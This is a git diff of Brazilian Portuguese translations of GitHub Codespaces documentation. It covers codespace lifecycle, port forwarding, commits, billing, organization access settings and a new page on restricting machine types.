-If you want to use Git hooks in your codespace,  set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`. For more information, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the Visual Studio Code documentation.
+Se vocÊ quiser usar os hooks do Git no seu codespace, configure os hooks usando os scripts do ciclo de vida do [`devcontainer.json` ](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts) como, por exemplo, `postCreateCommand`. Para obter mais informações, consulte o [`devcontainer.json` referência](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) na documentação do Visual Studio Code.
 
-If you have a public dotfiles repository for {% data variables.product.prodname_codespaces %}, you can enable it for use with new codespaces. When enabled, your dotfiles will be cloned to the container and the install script will be invoked. For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/github/developing-online-with-codespaces/personalizing-codespaces-for-your-account#dotfiles)." 
+Se você tiver um repositório de dotfiles público para {% data variables.product.prodname_codespaces %}, você poderá habilitá-lo para uso com novos codespaces. Quando habilitado, seus dotfiles serão clonados para o contêiner e o script de instalação será invocado. Para obter mais informações, consulte "[Personalizar {% data variables.product.prodname_codespaces %} para sua conta](/github/developing-online-with-codespaces/personalizing-codespaces-for-your-account#dotfiles)".
 
-Finally, the entire history of the repository is copied down with a full clone.
+Por fim, toda a história do repositório é copiada com um clone completo.
 
-During post-creation setup you'll still be able to use the integrated terminal and make edits to your files, but take care to avoid any race conditions between your work and the commands that are running.
-## {% data variables.product.prodname_codespaces %} lifecycle
+Durante a configuração de pós-criação, você ainda poderá usar o terminal integrado e fazer edições nos seus arquivos, mas tenha cuidado para evitar quaisquer condições de corrida entre seu trabalho e os comandos que estão sendo executados.
+## Ciclo de vida de {% data variables.product.prodname_codespaces %}
 
-### Saving files in your codespace
+### Salvando arquivos no seu codespace
 
-As you develop in your codespace, it will save any changes to your files every few seconds. Your codespace will keep running for 30 minutes after the last activity. After that time it will stop running but you can restart it from either from the existing browser tab or the list of existing codespaces. File changes from the editor and terminal output are counted as activity and so your codespace will not stop if terminal output is continuing.
+À medida que você desenvolve no seu codespace, ele salvará todas as alterações nos seus arquivos a cada poucos segundos. Seu codespace continuará em execução por 30 minutos após a última atividade. Depois desse tempo ele irá parar de executar, mas você poderá reiniciá-lo a partir da aba do navegador existente ou da lista de codespaces existentes. As mudanças de arquivo do editor e saída terminal são contadas como atividade. Portanto, o seu código não parará se a saída do terminal continuar.
 
 {% note %}
 
-**Note:** Changes in a codespace in {% data variables.product.prodname_vscode %} are not saved automatically, unless you have enabled [Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save).
+**Observação:** As mudanças em um codespace em {% data variables.product.prodname_vscode %} não são salvas automaticamente, a menos que você tenha habilitado o [Salvamento automático](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save).
 {% endnote %}
 
-### Closing or stopping your codespace
+### Fechando ou interrompendo seu codespace
 
-To stop your codespace you can [use the {% data variables.product.prodname_vscode_command_palette %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace) (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)). If you exit your codespace without running the stop command (for example, closing the browser tab), or if you leave the codespace running without interaction, the codespace and its running processes will continue until a window of inactivity occurs, after which the codespace will stop.  By default, the window of inactivity is 30 minutes. 
+Para interromper o seu codespace, você pode [usar o {% data variables.product.prodname_vscode_command_palette %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace) (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)). Se você sair do seu codespace sem executar o comando de interrupção (por exemplo, fechando a aba do navegador), ou se você sair do codespace em execução sem interação, o codespace e os seus processos em execução continuarão até que ocorra uma janela de inatividade, após a qual o código será interrompido.  Por padrão, a janela de inatividade é de 30 minutos.
 
-When you close or stop your codespace, all uncommitted changes are preserved until you connect to the codespace again.
+Ao fechar ou interromper o seu codespace, todas as alterações não autorizadas são preservadas até você conectar-se ao codespace novamente.
 
 
-## Running your application
+## Executando seu aplicativo
 
-Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on port 4000 within your codespace, you can automatically forward that port to make the application accessible from your browser.
+O redirecionamento de porta dá acesso a portas TCP que estão em execução no seu codespace. Por exemplo, se você estiver executando um aplicativo web na porta 4000 dentro do seu codespace, você poderá encaminhar automaticamente a porta para tornar o aplicativo acessível a partir do seu navegador.
 
-Port forwarding determines which ports are made accessible to you from the remote machine. Even if you do not forward a port, that port is still accessible to other processes running inside the codespace itself.
+O encaminhamento de portas determina quais portas podem ser acessadas por você a partir da máquina remota. Mesmo que você não encaminhe uma porta, esse porta ainda poderá ser acessada para outros processos em execução dentro do próprio codespace.
 
-![Diagram showing how port forwarding works in a codespace](/assets/images/help/codespaces/port-forwarding.png)
+![Diagrama que mostra como funciona o encaminhamento de porta em um codespace](/assets/images/help/codespaces/port-forwarding.png)
 
-When an application running inside {% data variables.product.prodname_codespaces %} outputs a port to the console, {% data variables.product.prodname_codespaces %} detects the localhost URL pattern and automatically forwards the port. You can click on the URL in the terminal or in the toast message to open the port in a browser. By default, {% data variables.product.prodname_codespaces %} forwards the port using HTTP. For more information on port forwarding, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+Quando um aplicativo em execução dentro de {% data variables.product.prodname_codespaces %} produz uma porta para o console, {% data variables.product.prodname_codespaces %} detecta o padrão da URL do host local e encaminha a porta automaticamente. Você pode clicar na URL no terminal ou na mensagem de alerta para abrir a porta em um navegador. Por padrão, {% data variables.product.prodname_codespaces %} encaminha as portas que usam HTTP. Para obter mais informações sobre o encaminhamento de portas, consulte "[Encaminhando portas no seu codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)".
 
-While ports can be forwarded automatically, they are not publicly accessible to the internet. By default, all ports are private, but you can manually make a port available to your organization or public, and then share access through a URL. For more information, see "[Sharing a port](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#sharing-a-port)."
+Embora as portas possam ser encaminhadas automaticamente, elas não podem ser acessadas pelo público na internet. Por padrão, todas as portas são privadas, mas você pode disponibilizar manualmente uma porta para sua organização ou público, e, em seguida, compartilhar o acesso por meio de uma URL. Para obter mais informações, consulte "[Compartilhando uma porta](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#sharing-a-port). "
 
-Running your application when you first land in your codespace can make for a fast inner dev loop. As you edit, your changes are automatically saved and available on your forwarded port. To view changes, go back to the running application tab in your browser and refresh it.
+A execução do seu aplicativo ao chegar pela primeira vez no seu codespace pode fazer um loop de desenvolvimento rápido interno. À medida que você edita, as alterações são salvas automaticamente e ficam disponíveis na sua porta encaminhada. Para visualizar as alterações, volte para a aba do aplicativo em execução no seu navegador e atualize-as.
 
-## Committing and pushing your changes
+## Enviando e fazendo push das suas alterações
 
-Git is available by default in your codespace and so you can rely on your existing Git workflow. You can work with Git in your codespace either via the Terminal or by using [Visual Studio Code](https://code.visualstudio.com/docs/editor/versioncontrol)'s source control UI. For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)"
+O Git está disponível por padrão no seu codespace. Portanto, você pode confiar no fluxo de trabalho do Git existente. Você pode trabalhar com o Git no seu codespace por meio do Terminal ou usando a interface de usuário do controle de origem do [do Visual Studio Code](https://code.visualstudio.com/docs/editor/versioncontrol). Para obter mais informações, consulte "[Usando controle de origem no seu codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)"
 
-![Running git status in Codespaces Terminal](/assets/images/help/codespaces/git-status.png)
+![Executando o status do git no terminal do codespaces](/assets/images/help/codespaces/git-status.png)
 
-You can create a codespace from any branch, commit, or pull request in your project, or you can switch to a new or existing branch from within your active codespace. Because {% data variables.product.prodname_codespaces %} is designed to be ephemeral, you can use it as an isolated environment to experiment, check a teammate's pull request, or fix merge conflicts. You can create more than one codespace per repository or even per branch. However, each user account has a limit of 10 codespaces. If you've reached the limit and want to create a new codespace, you must delete a codespace first.
+Você pode criar um codespace a partir de qualquer branch, commit ou pull request no seu projeto, ou você pode mudar para branch novo branch ou branch existente de dentro do seu codespace ativo. Uma vez que {% data variables.product.prodname_codespaces %} foi projetado para ser efêmero, você pode usá-lo como um ambiente isolado para experimentar, verificar o pull request de um amigo de equipe ou corrigir os conflitos de merge. Você pode criar mais de um código de espaço por repositório ou até mesmo por branch. No entanto, cada conta de usuário tem um limite de 10 codespaces. Se você atingiu o limite e deseja criar um novo espaço de código, você deve primeiro excluir um código.
 
 {% note %}
 
-**Note:** Commits from your codespace will be attributed to the name and public email configured at https://github.com/settings/profile. A token scoped to the repository, included in the environment as `GITHUB_TOKEN`, and your GitHub credentials will be used to authenticate.
+**Observação:** Os commits do seu codespace serão atribuídos ao nome e ao e-mail público configurado em https://github.com/settings/profile. Um token com escopo no repositório, incluído no ambiente como `GITHUB_TOKEN`, e as suas credenciais do GitHub serão usadas para efetuar a autenticação.
 
 {% endnote %}
 
-## Personalizing your codespace with extensions
+## Personalizando seu codespace com extensões
 
-Using {% data variables.product.prodname_vscode %} in your codespace gives you access to the {% data variables.product.prodname_vscode %} Marketplace so that you can add any extensions you need. For information on how extensions run in {% data variables.product.prodname_codespaces %}, see [Supporting Remote Development and GitHub Codespaces](https://code.visualstudio.com/api/advanced-topics/remote-extensions) in the {% data variables.product.prodname_vscode %} docs. 
+Usar {% data variables.product.prodname_vscode %} no seu codespace dá acesso ao Marketplace de {% data variables.product.prodname_vscode %} para que você possa adicionar todas as extensões de que precisar. Para obter informações de como as extensões são executadas em {% data variables.product.prodname_codespaces %}, consulte [Suporte ao Desenvolvimento Remoto e aos codespaces do GitHub](https://code.visualstudio.com/api/advanced-topics/remote-extensions) na documentação de {% data variables.product.prodname_vscode %}.
 
-If you already use {% data variables.product.prodname_vscode %}, you can use [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) to automatically sync extensions, settings, themes, and keyboard shortcuts between your local instance and any {% data variables.product.prodname_codespaces %} you create.
+Se você já usa o {% data variables.product.prodname_vscode %}, você pode usar as [Sincronização de configurações](https://code.visualstudio.com/docs/editor/settings-sync) para sincronizar automaticamente as extensões, configurações, temas, e atalhos de teclado entre sua instância local e todos {% data variables.product.prodname_codespaces %} que você criar.
 
-## Further reading
+## Leia mais
 
-- [Enabling {% data variables.product.prodname_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization)
-- [Managing billing for {% data variables.product.prodname_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)
-- [Setting up your project for Codespaces](/codespaces/setting-up-your-project-for-codespaces)
-- [Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)
+- [Habilitando {% data variables.product.prodname_codespaces %} para a sua organização](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization)
+- [Gerenciando a cobrança para {% data variables.product.prodname_codespaces %} na sua organização](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)
+- [Configurando seu projeto para os codespaces](/codespaces/setting-up-your-project-for-codespaces)
+- [Ciclo de vida dos codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle)
diff --git a/translations/pt-BR/content/codespaces/guides.md b/translations/pt-BR/content/codespaces/guides.md
index 5607e64f4d..b8c5a5aa30 100644
--- a/translations/pt-BR/content/codespaces/guides.md
+++ b/translations/pt-BR/content/codespaces/guides.md
@@ -1,8 +1,8 @@
 ---
-title: Codespaces guides
-shortTitle: Guides
+title: Guias de codespaces
+shortTitle: Guias
 product: '{% data reusables.gated-features.codespaces %}'
-intro: Learn how to make the most of GitHub
+intro: Aprenda a aproveitar ao máximo do GitHub
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
index 7e68cd8fd1..235526359f 100644
--- a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
+++ b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
@@ -1,7 +1,7 @@
 ---
-title: Enabling Codespaces for your organization
-shortTitle: Enable Codespaces
-intro: 'You can control which users in your organization can use {% data variables.product.prodname_codespaces %}.'
+title: Habilitando codespaces para a sua organização
+shortTitle: Habilitar codespaces
+intro: 'Você pode controlar quais usuários da sua organização podem usar {% data variables.product.prodname_codespaces %}.'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage user permissions for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner.'
 redirect_from:
@@ -17,49 +17,49 @@ topics:
 ---
 
 
-## About enabling {% data variables.product.prodname_codespaces %} for your organization
+## Sobre habilitar {% data variables.product.prodname_codespaces %} para a sua organização
 
-Organization owners can control which users in your organization can create and use codespaces.
+Os proprietários da organização podem controlar quais usuários da sua organização podem criar e usar cdespaces.
 
-To use codespaces in your organization, you must do the following:
+Para usar codespaces na sua organização, você deve fazer o seguinte:
 
-- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. 
-- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#configuring-which-users-in-your-organization-can-use-codespaces). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users.
-- [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
-- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+- Certifique-se de que os usuários tenham [pelo menos acesso de gravação](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) nos repositórios onde desejam usar um codespace.
+- [Habilitar {% data variables.product.prodname_codespaces %} para os usuários da sua organização](#enable-codespaces-for-users-in-your-organization). Você pode escolher permitir {% data variables.product.prodname_codespaces %} para usuários selecionados ou apenas para usuários específicos.
+- [Definir um limite de gastos](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
+- Certifique-se de que a sua organização não tem um endereço IP permitir a lista habilitada. Para obter mais informações, consulte "[Gerenciar endereços IP permitidos para a sua organização](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)".
 
-By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)."
+Por padrão, um codespace só pode acessar o repositório no qual ele foi criado. Se você quiser que os codespaces na sua organização possam acessar outros repositórios da organização que o criador do codespace possa acessar, consulte "[Gerenciar acesso e segurança para {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)".
 
-## Enable {% data variables.product.prodname_codespaces %} for users in your organization
+## Habilitar {% data variables.product.prodname_codespaces %} para os usuários na sua organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "User permissions", select one of the following options:
+1. Em "Permissões de usuário", selecione uma das seguintes opções:
 
-   * **Selected users** to select specific organization members to use {% data variables.product.prodname_codespaces %}.
-   * **Allow for all members** to allow all your organization members to use {% data variables.product.prodname_codespaces %}.
-   * **Allow for all members and outside collaborators** to allow all your organization members as well as outside collaborators to use {% data variables.product.prodname_codespaces %}.
+   * **Usuários selecionados** para selecionar integrantes específicos da organização para usar {% data variables.product.prodname_codespaces %}.
+   * **Permitir para todos os integrantes** para permitir todos os integrantes da organização usem {% data variables.product.prodname_codespaces %}.
+   * **Permitir para todos os integrantes e colaboradores externos** para permitir que todos os integrantes da sua organização, bem como os colaboradores externos, usem {% data variables.product.prodname_codespaces %}.
 
-   ![Radio buttons for "User permissions"](/assets/images/help/codespaces/org-user-permission-settings-outside-collaborators.png)
+   ![Botões de opção para "Permissões do usuário"](/assets/images/help/codespaces/org-user-permission-settings-outside-collaborators.png)
 
    {% note %}
 
-   **Note:** When you select **Allow for all members and outside collaborators**,  all outside collaborators who have been added to specific repositories can create and use {% data variables.product.prodname_codespaces %}. Your organization will be billed for all usage incurred by outside collaborators. For more information on managing outside collaborators, see "[About outside collaborators](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization#about-outside-collaborators)."
+   **Observação:** Ao selecionar **Permitir para todos os integrantes e colaboradores externos**, todos os colaboradores externos que foram adicionados aos repositórios específicos poderão criar e usar {% data variables.product.prodname_codespaces %}. Sua organização será cobrada pelo uso de todos os colaboradores externos. Para obter mais informações sobre como gerenciar colaboradores externos, consulte "[Sobre colaboradores externos](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization#about-outside-collaborators)".
 
    {% endnote %}
 
-1. Click **Save**.
+1. Clique em **Salvar**.
 
-## Disabling {% data variables.product.prodname_codespaces %} for your organization
+## Desabilitando {% data variables.product.prodname_codespaces %} para sua organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "User permissions", select **Disabled**.
+1. Em "Permissões de usuário", selecione **Desabilitado**.
 
-## Setting a spending limit
+## Definindo um limite de gastos
 
-{% data reusables.codespaces.codespaces-spending-limit-requirement %} 
+{% data reusables.codespaces.codespaces-spending-limit-requirement %}
 
-For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
+Para obter informações sobre como gerenciar e alterar o limite de gastos da sua conta, consulte "[Gerenciar seu limite de gastos para {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)".
diff --git a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/index.md b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/index.md
index 3891bf4d3f..995b88bb4a 100644
--- a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/index.md
+++ b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/index.md
@@ -13,6 +13,7 @@ children:
   - /managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces
   - /managing-repository-access-for-your-organizations-codespaces
   - /reviewing-your-organizations-audit-logs-for-codespaces
+  - /restricting-access-to-machine-types
 shortTitle: Gerenciando sua organização
 ---
 
diff --git a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
index 1df624ccef..882dc68f3a 100644
--- a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
+++ b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for Codespaces in your organization
-shortTitle: Manage billing
-intro: 'You can check your {% data variables.product.prodname_codespaces %} usage and set usage limits.'
+title: Gerenciar a cobrança de codespaces na sua organização
+shortTitle: Gerenciar faturamento
+intro: 'Você pode verificar seu uso de {% data variables.product.prodname_codespaces %} e definir os limites de uso.'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager.'
 versions:
@@ -13,36 +13,38 @@ topics:
   - Billing
 ---
 
-## Overview
+## Visão Geral
 
-To learn about pricing for {% data variables.product.prodname_codespaces %}, see "[{% data variables.product.prodname_codespaces %} pricing](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)."
+Para saber mais sobre os preços para {% data variables.product.prodname_codespaces %}, consulte "[Preços de {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)".
 
 {% data reusables.codespaces.codespaces-billing %}
 
-- As an an organization owner or a billing manager you can manage {% data variables.product.prodname_codespaces %} billing for your organization: ["About billing for Codespaces"](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)
+- Como proprietário de uma organização ou gerente de cobrança, você pode gerenciar a cobrança de {% data variables.product.prodname_codespaces %} para a sua organização: ["Sobre cobrança para codespaces"](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)
 
-- For users, there is a guide that explains how billing works: ["Understanding billing for Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces)
+- Para os usuários, há um guia que explica como a cobrança funciona: ["Entendendo a cobrança para codespace"](/codespaces/codespaces-reference/understanding-billing-for-codespaces)
 
-## Usage limits
+## Limites de uso
 
-You can set a usage limit for the codespaces in your organization or repository. This limit is applied to the compute and storage usage for {% data variables.product.prodname_codespaces %}:
- 
-- **Compute minutes:** Compute usage is calculated by the actual number of minutes used by all {% data variables.product.prodname_codespaces %} instances while they are active. These totals are reported to the billing service daily, and is billed monthly. You can set a spending limit for {% data variables.product.prodname_codespaces %} usage in your organization. For more information, see "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
+Você pode definir um limite de uso para os codespaces na sua organização ou repositório. Este limite é aplicado ao uso de computação e armazenamento para {% data variables.product.prodname_codespaces %}:
 
-- **Storage usage:**  For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)."
+- **Minutos de cálculo:** Uso do cálculo é feito pelo número real de minutos usados por todas as instâncias de {% data variables.product.prodname_codespaces %} enquanto estão ativas. Estes montantes totais são comunicados diariamente ao serviço de cobrança e são cobrados mensalmente. Você pode definir um limite de gastos para uso de {% data variables.product.prodname_codespaces %} na sua organização. Para obter mais informações, consulte "[Gerenciando limites de gastos para os codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)".
 
-## Disabling or limiting {% data variables.product.prodname_codespaces %}
+- **Uso do armazenamento:**  Para fins de cobrança de {% data variables.product.prodname_codespaces %}, isto inclui todo o armazenamento usado por todos os codespaces da sua conta. Isto inclui todos os codespacess usados pelos repositórios clonados, arquivos de configuração e extensões, entre outros. Estes montantes totais são comunicados diariamente ao serviço de cobrança e são cobrados mensalmente. No final do mês, {% data variables.product.prodname_dotcom %} arredonda seu armazenamento para o MB mais próximo. Para verificar quantos minutos de computação e armazenamento em GB foram usados por {% data variables.product.prodname_codespaces %}, consulte "[Visualizando o uso dos seus codespaces"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)."
 
-You can disable the use of {% data variables.product.prodname_codespaces %} in your organization or repository. For more information, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)."
+## Desabilitando ou limitando {% data variables.product.prodname_codespaces %}
 
-You can also limit the individual users who can use {% data variables.product.prodname_codespaces %}. For more information, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
+É possível desabilitar o uso de {% data variables.product.prodname_codespaces %} na sua organização ou repositório. Para obter mais informações, consulte "[Gerenciar acesso ao repositório para os codespaces da sua organização](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)".
 
-## Deleting unused codespaces
+Você também pode limitar os usuários individuais que podem usar {% data variables.product.prodname_codespaces %}. Para obter mais informações, consulte "[Gerenciando permissões de usuário para sua organização](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)".
 
-Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. 
+É possível limitar a escolha dos tipos de máquina que estão disponíveis para repositórios pertencentes à sua organização. Isso permite evitar que as pessoas usem máquinas com recursos excessivos para seus codespaces. Para obter mais informações, consulte "[Restringindo o acesso aos tipos de máquina](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+## Excluindo codespaces não utilizados
+
+Seus usuários podem excluir seus codespaces em https://github.com/codespaces e no Visual Studio Code. Para reduzir o tamanho de um codespace, os usuários podem excluir arquivos manualmente usando o terminal ou no Visual Studio Code.
 
 {% note %}
 
-**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization.
+**Observação:** Somente a pessoa que criou um codespace pode excluí-lo. Atualmente, não há forma de os proprietários da organização excluírem os codespaces criados dentro de sua organização.
 
 {% endnote %}
diff --git a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
index 10088f39bd..2900c56954 100644
--- a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
+++ b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
@@ -1,7 +1,7 @@
 ---
-title: Managing repository access for your organization's codespaces
-shortTitle: Repository access
-intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_codespaces %} can access.'
+title: Gerenciando o acesso ao repositório para os codespaces da sua organização
+shortTitle: Acesso ao repositório
+intro: 'Você pode gerenciar os repositórios na sua organização que {% data variables.product.prodname_codespaces %} pode acessar.'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage access and security for Codespaces for an organization, you must be an organization owner.'
 versions:
@@ -18,18 +18,16 @@ redirect_from:
   - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces
 ---
 
-By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust.
+Por padrão, um codespace só pode acessar o repositório onde foi criado. Ao habilitar o acesso e a segurança de um repositório pertencente à sua organização, todos os codespaces que forem criados para esse repositório também terão permissões de leitura para todos os outros repositórios que a organização possui e o criador de codespace terá permissões para acessar. Se você deseja restringir os repositórios que um codespace pode acessar, você pode limitá-lo ao repositório em que o codespace foi criado ou a repositórios específicos. Você só deve habilitar o acesso e a segurança para repositórios nos quais confia.
 
-To manage which users in your organization can use {% data variables.product.prodname_codespaces %}, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
+Para gerenciar quais usuários na sua organização podem usar {% data variables.product.prodname_codespaces %}, consulte "[Gerenciar permissões de usuário para a sua organização](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "Access and security", select the setting you want for your organization.
-  ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
-1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories.
-    !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
+1. Em "Acesso e segurança", selecione a configuração que você deseja para a sua organização. ![Botões de opção para gerenciar repositórios confiáveis](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
+1. Se você escolheu "repositórios selecionados", selecione o menu suspenso e, em seguida, clique em um repositório para permitir que os codespaces do repositório acessem outros repositórios pertencentes à sua organização. Repita isso para todos os repositórios cujos códigos você deseja que acessem outros repositórios. ![Menu suspenso "Repositórios selecionados"](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
 
-## Further Reading
+## Leia mais
 
-- "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"
+- "[Gerenciando acesso ao repositório para seus codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"
diff --git a/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
new file mode 100644
index 0000000000..2e4570c939
--- /dev/null
+++ b/translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
@@ -0,0 +1,94 @@
+---
+title: Restringindo o acesso aos tipos de máquina
+shortTitle: Tipo de máquina acesso
+intro: Você pode definir restrições sobre os tipos de máquinas que os usuários podem escolher ao criarem os codespaces na sua organização.
+product: '{% data reusables.gated-features.codespaces %}'
+permissions: 'To manage access to machine types for the repositories in an organization, you must be an organization owner.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## Visão Geral
+
